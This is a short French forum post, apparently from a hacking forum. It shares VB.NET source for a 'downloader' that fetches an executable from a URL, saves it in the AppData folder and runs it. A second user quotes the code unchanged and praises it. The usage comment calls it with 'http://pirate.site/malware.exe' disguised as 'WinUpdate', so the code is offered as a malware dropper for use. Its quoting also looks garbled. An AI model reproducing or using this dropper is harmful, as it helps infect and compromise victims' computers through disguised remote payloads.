Tutoriel [VB.NET] Source - Downloader

[Kilo-25]

Public Shared Sub downloader(ByVal url as string, ByVal LaunchName as String)
Dim wc As New WebClient : Dim pths As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) : IO.File.WriteAllBytes(pths + ""/" & LaunchName & ".exe"", wc.DownloadData(""" + url + """)) : Process.Start(pths + ""/" & LaunchName & ".exe")"
End Sub
'Utilisation : downloader(http://pirate.site/malware.exe, WinUpdate)

 

[RoRoH_AR]

Public Shared Sub downloader(ByVal url as string, ByVal LaunchName as String)
Dim wc As New WebClient : Dim pths As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) : IO.File.WriteAllBytes(pths + ""/" & LaunchName & ".exe"", wc.DownloadData(""" + url + """)) : Process.Start(pths + ""/" & LaunchName & ".exe")"
End Sub
'Utilisation : downloader(http://pirate.site/malware.exe, WinUpdate)

Au top Kilo-25